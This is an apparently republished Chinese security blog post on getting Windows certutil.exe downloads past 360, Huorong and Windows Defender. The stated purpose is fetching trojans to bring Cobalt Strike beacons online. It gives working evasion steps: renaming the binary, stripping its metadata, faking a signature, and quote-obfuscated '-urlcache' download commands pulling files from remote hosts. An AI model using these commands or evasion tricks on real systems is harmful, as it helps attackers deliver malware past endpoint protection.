前言
certutil.exe是windows系统自带的,作为证书服务的命令行程序。用户可以使用certutil.exe转储和显示证书颁发机构配置信息等等以及验证证书、密钥对和证书链。
攻击者喜欢使用certutil命令在目标主机上下载木马,从而上线CS进行内网渗透。当目标主机存在杀软时,直接使用certutil命令会被拦截,导致无法成功下载。本次实验主要是在360核晶防护、火绒、defender三种环境下尝试使用certutil绕过拦截。
certutil下载文件的常见命令为:
certutil -urlcache -
split
-f http:
//xxx.com/xx.exe
- -urlcache参数:显示或删除URL缓存条目。
- -f参数:覆盖现有文件,后面要跟下载的文件地址。
- -split参数:保存文件。加的话就下载到当前路径,不加就下载到默认路径。
免杀过程
bypass360核晶防护
首先用网上文章的绕过方式尝试一下,利用缓存文件尝试下载,发现均已被拦截
看到这里,可能会有人会疑问certutil绕过为什么会使用到一些符号,使用了这些符号命令为什么还能执行?先来了解一下这些符号在命令行的作用吧
2.",": 这个字符在 CMD 命令中通常没有特殊含义,它可能被忽略或者导致命令错误。
3."@":在批处理文件中,这个字符用于抑制命令本身的回显。在命令行中直接使用时,它通常不起作用。
4.引号:在 CMD 中,引号主要用于处理包含空格或特殊字符的字符串。当引号用于包围没有空格的文本时,CMD会简单地忽略这些引号,并将被引号分割的文本片段合并为一个连续的字符串。
5."^": 转义字符 ^ 在 CMD 中主要用于转义那些具有特殊含义的字符,比如 &(用于连接两个命令)、|(管道)、> 和 <(重定向),等等。例如,如果你在 CMD 中执行命令 echo ^&,它将输出 &,而不是把 & 视为一个命令分隔符。如果转义的字符不是一个特殊字符,那么 ^ 就被视为没有必要的,因此会被忽略。
所以可以使用这些符号对CMD的命令进行处理,来躲避杀软的检测。这是之前的绕过方式,现在已经不行了。换一种方式进行绕过,把certutil工具复制一份换个名字试试
还是会拦,看360的拦截提示还是识别到了certutil工具,尝试对certuil进行处理,去除它的详细信息,看能不能绕过的
看到没已经没有拦截提示了,尝试下载文件,成功绕过360核晶防护
bypass火绒
火绒对使用系统的certutil下载文件的拦截非常严格,使用上面的符号进行混淆根本没用,全会被拦截,做了一系列尝试均失败。
注意火绒的拦截提示是:防护项目利用certutil下载可执行文件。怎么能绕过呢?你只需要对系统的certutil复制一份,重命名一下,就可以随便绕过
我没有做任何处理,只是修改了名称,再次执行下载命令,888.exe -urlcache -split -f http://192.168.1.8:8000/README.md,成功绕过
bypass defender
不出意外的出现了意外,我把去除了详细信息的程序拖进defende环境,好家伙defender直接给我杀掉了
对1.exe处理下,打个假签名
看到没已经不杀了
执行命令试试会不会拦截
之前绕过360和火绒的命令已经被拦截了,继续看,defender的拦截提示信息CmdLine: C:UsersHPDesktoptest.exe -urlcache -split -f http://192.168.10.238:8000/README.md,它并没有报certutil工具说明defender已经判断不出这是certutil,那它拦截的点应该是命令行参数了,利用之前的符合对命令行参数进行混淆,如下
判断出defender查杀的参数可能是urlcache,经过一系列尝试发现多重引号可以绕过
test.exe -ur""""lcache -split -f http://192.168.1.8:8000/README.md
直接使用certutil来验证下defender是不是查杀urlcache命令,
使用certutil -url""""cache -split -f http://192.168.1.8:8000/README.md,依然可以成功下载文件,验证了猜想
总结
1.想要绕过杀软,就要弄清楚杀软进行查杀的原理,知道它怎么防御,才能更好地去绕过。
2.不同的杀软环境,绕过的手法和方式也不一样,只有亲身实践才能不断积累经验。
3.不要害怕失败,失败多了可能下次就成功了。
原文始发于微信公众号(听风安全):certutil之巧:绕过防御的艺术
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论